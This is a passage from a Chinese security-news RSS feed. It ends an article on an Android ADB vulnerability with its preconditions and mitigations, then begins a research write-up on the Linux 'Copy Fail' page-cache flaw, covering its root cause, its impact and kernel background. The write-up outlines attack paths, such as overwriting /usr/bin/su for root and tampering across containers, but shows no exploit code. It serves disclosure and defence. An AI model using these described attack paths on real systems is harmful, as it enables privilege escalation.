data-pm-slice="0 0 []"><div style="margin:10px 5px;text-align: center;"><div style="display: inline-block;"><div style="display: flex;justify-content: center;align-items: flex-start;"><div><div style="border: 1px solid #1c71be;padding: 4px 7px 0px 2px;"><p data-brushtype="text" style="font-size: 15px;letter-spacing: 1.5px;padding: 5px 1.3em;color: #1c71be;background: #f6f9fd;"><span style="font-size:15px;"><p><span leaf="">影响范围与利用条件</span></p></span></p></div></div></div></div></div></div><p><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: &#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mp2fxhyi1bmd"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">该漏洞主要影响</span><span textstyle="" style="letter-spacing: 1px;color: rgb(2, 30, 170);">Android 14、15和16</span><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">版本设备，且需满足以下前提条件才能被利用：</span></span></p><p><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: &#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mp2fxhyi1cr9"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">1.  目标设备已启用开发者选项</span></span></p><p><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: &#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mp2fxhyi1siy"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">2.  无线调试（ADB over TCP）功能处于开启状态并暴露在网络中</span></span></p><p><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: &#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mp2fxhyi1w7q"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">3.  设备信任存储中至少存在一个已配对的RSA主机密钥</span></span></p><p><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: &#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mp2fxhyi1qle"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">4.  攻击者与目标设备处于同一网络，能够访问5555端口</span></span></p><p><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: &#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mp2fxhyj9pr"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">面对这一严重威胁，安卓用户和企业管理员应立即采取以下防护措施：</span></span></p><p><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: &#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mp2fxhyj1sz2"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">1. 优先安装安全补丁：尽快更新设备至2026年5月安全补丁版本，这是彻底修复漏洞的唯一方法</span></span></p><p><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: &#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mp2fxhyjdcv"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">2. 关闭无线调试：在不可信网络环境（如公共Wi-Fi）中，务必关闭无线调试功能</span></span></p><p><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: &#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mp2fxhyj1wzg"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">3. 撤销未知授权：清理设备中已授权的未知调试主机，减少攻击面</span></span></p><p><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: &#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mp2fxhyj1kky"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">4. 禁用开发者选项：非开发需求时，完全关闭开发者选项，从根源上阻止此类攻击</span></span></p><p><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: &#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mp2fxhyjni"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">移动设备的安全边界正在不断受到挑战。即使是安卓系统核心组件，也可能存在致命缺陷。用户应保持安全意识，及时更新系统，谨慎使用开发者功能，避免在公共网络环境中暴露敏感服务端口。</span></span></p><p><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 14px;font-family: &#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mp2g3rlo13ec" data-mpa-action-id="mp2g3rm520sc" data-pm-slice="0 0 []"><span textstyle="" style="letter-spacing: normal;color: rgb(63, 63, 63);font-style: italic;">资讯来源：BARGHEST Security Research &amp; Google Android Security Bulletin (May 2026)</span></span></p><div style="line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 100%;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.46875" data-s="300,640" data-type="jpeg" data-w="640" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;background-color: transparent;" data-imgfileid="311131106" src="https://wechat2rss.xlab.app/img-proxy/?k=0cf04634&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FCpo2XCpI7K2RCk7yThhBLIUbH4q3aQt0B7qaZQkicdSfE4CfxEU9spnPh2WVagN2sZH7H77mPE6EcsbzvChL8610PTSQAFtJKKxhKZeicH3mU%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p></div><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;vertical-align: top;width: 20%;align-self: flex-start;flex: 0 0 auto;box-sizing: border-box;"><div style="text-align: center;margin: 0px 0%;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 40%;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8808777429467085" data-s="300,640" data-type="gif" data-w="638" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;background-color: transparent;" data-imgfileid="311131109" src="https://wechat2rss.xlab.app/img-proxy/?k=b4723bd2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FCpo2XCpI7K1O50IPHAz4bKm06ibfvA4wmOmibOHrvhmAIwOBN1W97HSMPk1rcPEibTdqbWXgubYRr8B8rVnM1ARrEUv0vn1RS3iaPbNT2fmRAhY%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div><div style="font-size: 12px;text-align: justify;box-sizing: border-box;"><p style="text-align: center;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">球分享</span></strong></p></div></div><div style="display: inline-block;vertical-align: top;width: 80%;align-self: flex-start;flex: 0 0 auto;box-sizing: border-box;"><div style="text-align: right;justify-content: flex-end;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;vertical-align: top;width: 23%;flex: 0 0 auto;height: auto;align-self: flex-start;box-sizing: border-box;"><div style="text-align: center;margin: 0px 0%;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 40%;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8808777429467085" data-s="300,640" data-type="gif" data-w="638" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;background-color: transparent;" data-imgfileid="311131108" src="https://wechat2rss.xlab.app/img-proxy/?k=21612377&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FCpo2XCpI7K0Cps1c7qg7gpgeqaGRol1dhVRz6RFF87c9N2oNOeBdSHn1icsag8yMFObqq2icPxjDmKIMI5UAg1wqYm930jGhW61eC8icDx7mJU%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div><div style="margin: 3px 0% 0px;box-sizing: border-box;"><div style="font-size: 12px;text-align: center;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">球点赞</span></strong></p></div></div></div><div style="display: inline-block;vertical-align: top;width: 23%;flex: 0 0 auto;height: auto;align-self: flex-start;box-sizing: border-box;"><div style="text-align: center;margin: 0px 0%;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 40%;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8808777429467085" data-s="300,640" data-type="gif" data-w="638" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;background-color: transparent;" data-imgfileid="311131110" src="https://wechat2rss.xlab.app/img-proxy/?k=307f6f36&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FCpo2XCpI7K1zF1YEc6txpLjFfuXCrGHs8EW9WGfdTPtLlH4lZibQOqibfan5cN4hRmicz9xHic5JYMMibF1QgfWIQXAgpytHhDf4zN5ha5CDicE1c%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div><div style="margin: 3px 0% 0px;box-sizing: border-box;"><div style="font-size: 12px;text-align: center;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">球在看</span></strong></p></div></div></div></div></div></div><div style="box-sizing: border-box;"><div style="display: inline-block;vertical-align: top;width: 10%;box-sizing: border-box;"><div style="text-align: center;margin-top: 10px;margin-bottom: 10px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 100%;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.696" data-s="300,640" data-type="gif" data-w="500" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;background-color: transparent;" data-imgfileid="311131107" src="https://wechat2rss.xlab.app/img-proxy/?k=91d2f291&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FCpo2XCpI7K1IlDqaB0eazSXF5FsjGCSjFntddgiaevxcBXQxiaZ75KkPiauZia7dIon08S0m6nf17gOZbn3cQky9fBiahS1ReiaOU5fV5IeprEtCU%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div></div><div style="display: inline-block;vertical-align: top;width: 90%;padding: 0px 0px 0px 10px;box-sizing: border-box;"><div style="margin: 10px 0% 0px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span style="font-size: 14px;box-sizing: border-box;"><span leaf="">点击阅读原文查看更多</span></span></p></div></div></div></div><p style="display: none;"><mp-style-type data-value="10000"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=8fc37aeb&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMjM5NTc2MDYxMw%3D%3D%26mid%3D2458614891%26idx%3D3%26sn%3D0de81f82941d24d10b76da58cb08c893">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 12 May 2026 17:59:00 +0800</pubDate>
    </item>
    <item>
      <title>Copy Fail 深度研究：Linux 页缓存漏洞的根因、利用与检测</title>
      <link>https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458614849&amp;idx=1&amp;sn=fe3114822b287b4d43b6eb503c2682ca</link>
      <description>看雪论坛作者ID：0xlane</description>
      <content:encoded><![CDATA[<p><span>0xlane</span> <span>2026-05-11 17:59</span> <span style="display: inline-block;">上海</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=886f2a21&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FCpo2XCpI7K1Rtsa2hEuTOFm6SuhHor7Xpzk2krg5Fxau0B77licWcCzC8DEicQg4InficA25yHgDibKmUP3tQOL1aXhKib2QjJzPgzGX8VDTB6F8%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>看雪论坛作者ID：0xlane</p>
  <blockquote><p><span leaf="">从 Crypto 子系统的一个优化 commit，到 9 年后的任意文件页缓存覆写</span></p></blockquote><div style="font-size: 15px;letter-spacing: 1px;line-height: 1.5;padding: 0px 8px;box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;color: rgb(62, 62, 62);" data-pm-slice="0 0 []"><div style="will-change: transform;box-sizing: border-box;"><div style="display: flex;flex-flow: row;margin: 15px 0% 10px;text-align: center;justify-content: center;box-sizing: border-box;"><div style="display: inline-block;vertical-align: top;width: auto;background-color: rgb(246, 246, 246);flex: 0 0 auto;align-self: flex-start;min-width: 10%;max-width: 100%;height: auto;box-shadow: rgb(0, 0, 0) 0px 0px 0px;border-width: 0px;box-sizing: border-box;"><div style="transform: translate3d(4px, 0px, 0px);-webkit-transform: translate3d(4px, 0px, 0px);-moz-transform: translate3d(4px, 0px, 0px);-o-transform: translate3d(4px, 0px, 0px);box-sizing: border-box;"><div style="padding: 0px 17px;color: rgb(88, 88, 88);box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">一、引言</span></strong></p></div></div></div></div></div></div><p><span mpa-font-style="mp0kvm4v1hmu" style="font-size: 15px;"><span leaf="">2026 年 4 月底，安全研究员Taeyang Lee公开披露了一个编号为CVE-2026-31431的 Linux 内核漏洞，并为其取了一个颇具讽刺意味的名字——</span><strong><span leaf="">Copy Fail</span></strong><span leaf="">。</span></span></p><p><span mpa-font-style="mp0kvm4vkza" style="font-size: 15px;"><span leaf="">这个名字精确地概括了漏洞的本质：2017 年，一位内核开发者为了修复 AF_ALG 加密接口中&#34;AAD 数据没有从 src 复制到 dst&#34;的 bug，引入了一个 in-place 优化。这个优化本身完全合理，但它无意中打破了内核 crypto 子系统中另一个模块 (</span><code><span leaf="">authencesn</span></code><span leaf="">) 长期以来的一个隐含假设——&#34;目标 buffer 是连续的内核内存，向其中写几个字节不会造成任何副作用&#34;。</span></span></p><p><span mpa-font-style="mp0kvm4v23rh" style="font-size: 15px;"><span leaf="">当这两个独立子系统在</span><code><span leaf="">splice()</span></code><span leaf="">的帮助下与</span><strong><span leaf="">Page Cache</span></strong><span leaf="">交汇时，一个无特权的本地用户可以向系统中</span><strong><span leaf="">任意可读文件</span></strong><span leaf="">的页面缓存写入 4 字节可控数据。</span></span></p><p><span leaf="" mpa-font-style="mp0kvm4v1rg3" style="font-size: 15px;">这不是通常意义上的内存越界写或 UAF。它的危害更加隐蔽和深远：</span></p><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);" class="list-paddingleft-1"><li><strong mpa-font-style="mp0kvm4v1l8t" style="font-size: 15px;"><span leaf="">本地提权</span></strong><p><span mpa-font-style="mp0kvm4v2wa" style="font-size: 15px;"><span leaf="">多次调用覆盖</span><code><span leaf="">/usr/bin/su</span></code><span leaf="">的 ELF 头部 → root shell</span></span></p></li><li><strong mpa-font-style="mp0kvm4v1p3o" style="font-size: 15px;"><span leaf="">零特权跨容器攻击</span></strong><p><span leaf="" mpa-font-style="mp0kvm4v24io" style="font-size: 15px;">同一宿主机上不同 namespace 的容器共享镜像层的 page cache → 一个容器可以破坏另一个容器的二进制文件</span></p></li><li><strong mpa-font-style="mp0kvm4vhe7" style="font-size: 15px;"><span leaf="">绕过只读挂载</span></strong><p><span mpa-font-style="mp0kvm4vnc6" style="font-size: 15px;"><span leaf="">文件只需</span><code><span leaf="">O_RDONLY</span></code><span leaf="">打开即可触发页面缓存写入 → readOnly volume 形同虚设</span></span></p></li><li><strong mpa-font-style="mp0kvm4vgef" style="font-size: 15px;"><span leaf="">默认安全配置全面失守</span></strong><p><span leaf="" mpa-font-style="mp0kvm4vito" style="font-size: 15px;">Docker/Kubernetes 的默认 seccomp profile 和 SELinux targeted 策略均不阻止漏洞利用</span></p></li></ul><p><span leaf="" mpa-font-style="mp0kvm4v21h6" style="font-size: 15px;">漏洞影响 2017 年至 2026 年之间的所有主流 Linux 发行版内核（CVSS 7.8 High），持续潜伏了近 9 年。</span></p><p><strong mpa-font-style="mp0kvm4va7t" style="font-size: 15px;"><span leaf="">时间线：</span></strong></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5287037037037037" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="311131137" src="https://wechat2rss.xlab.app/img-proxy/?k=67eef589&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FCpo2XCpI7K2ia4Z1AJoryNKlfa8Ze3nkEgZ8qh7nZLufM37mq5WWF5o0icbCVbdugPjrJJoY4MvrKb3nxNbTGLGeJBWibtwTNMla3zUfILODME%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span mpa-font-style="mp0kvm4vgj6" style="font-size: 15px;"><span leaf="">本文将从漏洞触发的前置知识开始，逐步深入根因分析、PoC 原理与内核级动态验证，随后系统性地探索宿主机提权和容器环境下的各类攻击路径及其可行性边界，最后给出防御方案和基于</span><code><span leaf="">O_DIRECT</span></code><span leaf="">+</span><code><span leaf="">fanotify</span></code><span leaf="">的页缓存完整性检测方案。</span></span></p><div style="font-size: 15px;letter-spacing: 1px;line-height: 1.5;padding: 0px 8px;box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;color: rgb(62, 62, 62);" data-pm-slice="0 0 []"><div style="will-change: transform;box-sizing: border-box;"><div style="display: flex;flex-flow: row;margin: 15px 0% 10px;text-align: center;justify-content: center;box-sizing: border-box;"><div style="display: inline-block;vertical-align: top;width: auto;background-color: rgb(246, 246, 246);flex: 0 0 auto;align-self: flex-start;min-width: 10%;max-width: 100%;height: auto;box-shadow: rgb(0, 0, 0) 0px 0px 0px;border-width: 0px;box-sizing: border-box;"><div style="transform: translate3d(4px, 0px, 0px);-webkit-transform: translate3d(4px, 0px, 0px);-moz-transform: translate3d(4px, 0px, 0px);-o-transform: translate3d(4px, 0px, 0px);box-sizing: border-box;"><div style="padding: 0px 17px;color: rgb(88, 88, 88);box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">二、背景知识</span></strong></p></div></div></div></div></div></div><h2><span mpa-font-style="mp0kvm4v15g6"><span leaf="" style="font-size: 15px;">理解 Copy Fail 需要几个前置概念。它们之间存在层层依赖关系：</span></span></h2><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="mp0kvm4v10d2"><span leaf="">Scatterlist (SGL)    AEAD Crypto            Page Cache</span><span leaf=""><br/></span><span leaf="">     |                |       |                |</span><span leaf=""><br/></span><span leaf="">scatterwalk          AAD  authencesn        splice()</span><span leaf=""><br/></span><span leaf="">     |                |       |                |</span><span leaf=""><br/></span><span leaf="">     +<span class="code-snippet__comment">--------+-------+       |                |</span></span><span leaf=""><br/></span><span leaf="">              |               |                |</span><span leaf=""><br/></span><span leaf="">          AF_ALG <span class="code-snippet__comment">-------------+                |</span></span><span leaf=""><br/></span><span leaf="">              |                                |</span><span leaf=""><br/></span><span leaf="">          algif_aead <span class="code-snippet__comment">--------------------------+</span></span></code></pre></p><p><span leaf="" mpa-font-style="mp0kvm4v1t6y" style="font-size: 15px;">下面逐一展开。</span></p><h3 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="mp0kvm4vx5u" style="font-size: 15px;"><span leaf="">2.1 Page Cache：Linux 的全局文件缓存</span></span></h3><p><span mpa-font-style="mp0kvm4v20nu" style="font-size: 15px;"><span leaf="">当进程通过</span><code><span leaf="">read()</span></code><span leaf="">读取</span><code><span leaf="">/usr/bin/cat</span></code><span leaf="">时，内核不会每次都去磁盘拿数据。它会先检查一块叫做</span><strong><span leaf="">Page Cache</span></strong><span leaf="">的内存区域——如果文件的对应页面已经缓存在内存中，就直接返回缓存数据。</span></span></p><p><span leaf="" mpa-font-style="mp0kvm4v57c" style="font-size: 15px;">Page Cache 的几个关键特性与本漏洞直接相关：</span></p><p><span mpa-font-style="mp0kvm4v6wo" style="font-size: 15px;"><strong><span leaf="">全局共享</span></strong><span leaf="">。Page Cache 以</span><code><span leaf="">(inode, page_offset)</span></code><span leaf="">为 key 索引，不属于任何特定进程。同一台机器上的所有进程，只要访问的是同一个 inode，就会命中同一份 page cache。进程 A 通过</span><code><span leaf="">read()</span></code><span leaf="">将某个文件加载到 page cache 后，进程 B 读取同一文件时直接命中缓存，无需再次访问磁盘。</span></span></p><p><span mpa-font-style="mp0kvm4v1swh" style="font-size: 15px;"><strong><span leaf="">回写机制</span></strong><span leaf="">。对于通过正常</span><code><span leaf="">write()</span></code><span leaf="">路径产生的修改，内核会将对应的 page 标记为 dirty，稍后由回写线程（pdflush / writeback）异步刷到磁盘。但如果某种</span><strong><span leaf="">内核路径绕过了 VFS 层</span></strong><span leaf="">直接修改了 page cache 页面，dirty 标记不会被设置——修改只存在于内存中，重启或</span><code><span leaf="">drop_caches</span></code><span leaf="">后丢失。</span></span></p><p><span mpa-font-style="mp0kvm4vk51" style="font-size: 15px;"><strong><span leaf="">即时可见</span></strong><span leaf="">。一旦 page cache 中的某个页面被修改（无论通过何种路径），所有后续的</span><code><span leaf="">read()</span></code><span leaf="">调用都会立即看到修改后的内容。这包括同一台机器上的其他进程，也包括容器环境下通过 overlayfs 共享同一底层 inode 的进程（详见 Section 6.1）。</span></span></p><p><span leaf=""><img data-aistatus="1" alt="Page Cache 架构图" class="rich_pages wxw-img" data-ratio="0.75" data-type="webp" data-w="2048" style="max-width: 100%;" data-imgfileid="311131131" src="https://wechat2rss.xlab.app/img-proxy/?k=e1f8c193&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FCpo2XCpI7K1LxnF60SdTAiaE5q2rzY2vbv0kCyU13DUh9DDx0BiamsBEILU8lDwuO9CJvicdfncFKaGR56HoDpf6Kriby7MPJ19SLM4Shlcttyo%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p><h3 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="mp0kvm4v2ui" style="font-size: 15px;"><span leaf="">2.2 Scatterlist：分散-聚集列表</span></span></h3><p><span mpa-font-style="mp0kvm4vnqz" style="font-size: 15px;"><span leaf="">在内核中，一段逻辑连续的数据（比如 10KB 的加密载荷）在物理内存中通常分布在多个不连续的 4KB 页面上。为了描述&#34;这段数据由哪些页面的哪些偏移组成&#34;，内核使用</span><strong><span leaf="">Scatterlist</span></strong><span leaf="">（SGL，分散-聚集列表）。</span></span></p><p><span mpa-font-style="mp0kvm4vjmw" style="font-size: 15px;"><span leaf="">每个</span><code><span leaf="">struct scatterlist</span></code><span leaf="">entry 描述一段连续的物理内存区域：</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="mp0kvm4vlgv"><span leaf=""><span class="code-snippet__keyword">struct</span> <span class="code-snippet__title">scatterlist</span> {</span><span leaf=""><br/></span><span leaf="">unsigned</span><span leaf="">long</span><span leaf="">   page_link;  <span class="code-snippet__comment">// 指向 page 结构（或 CHAIN 到下一个 SGL 数组）</span></span><span leaf=""><br/></span><span leaf="">unsigned</span><span leaf="">int</span><span leaf="">    offset;     <span class="code-snippet__comment">// 页面内的起始偏移</span></span><span leaf=""><br/></span><span leaf="">unsigned</span><span leaf="">int</span><span leaf="">    length;     <span class="code-snippet__comment">// 数据长度</span></span><span leaf=""><br/></span><span leaf="">};</span></code></pre></p><p><span mpa-font-style="mp0kvm4vzh2" style="font-size: 15px;"><span leaf="">当一个 SGL 数组不够用时，可以通过</span><strong><span leaf="">SG_CHAIN</span></strong><span leaf="">机制链接多个数组：最后一个 entry 的</span><code><span leaf="">page_link</span></code><span leaf="">不再指向数据页面，而是指向下一个 SGL 数组的起始地址。遍历 SGL 时，</span><code><span leaf="">scatterwalk</span></code><span leaf="">迭代器负责透明地处理这种链式结构。</span></span></p><p><span mpa-font-style="mp0kvm4vn6h" style="font-size: 15px;"><span leaf="">这个设计本身没有问题。但当 SGL 中的某些 entry 指向的不是普通的内核分配内存，而是</span><strong><span leaf="">page cache 中的页面</span></strong><span leaf="">时，对 SGL 的写操作就等于直接修改了文件的缓存内容——这正是 Copy Fail 的核心利用点。</span></span></p><p><span leaf=""><img data-aistatus="1" alt="Scatterlist 结构图" class="rich_pages wxw-img" data-ratio="0.75" data-type="webp" data-w="1024" style="max-width: 100%;" data-imgfileid="311131129" src="https://wechat2rss.xlab.app/img-proxy/?k=df336c5b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FCpo2XCpI7K1hGT9b7QgwLIsialiaUW9QmFPTsVvX7DAhP5d2mJx5oJLDFu2G9icYaQ5SU6mCgvicRbicDTE6iblhhajczOPXciaolicLYCVupy0Ewgs%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p><h3 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="mp0kvm4v2088" style="font-size: 15px;"><span leaf="">2.3 splice：零拷贝的代价</span></span></h3><p><span mpa-font-style="mp0kvm4v1c37" style="font-size: 15px;"><code><span leaf="">splice()</span></code><span leaf="">是 Linux 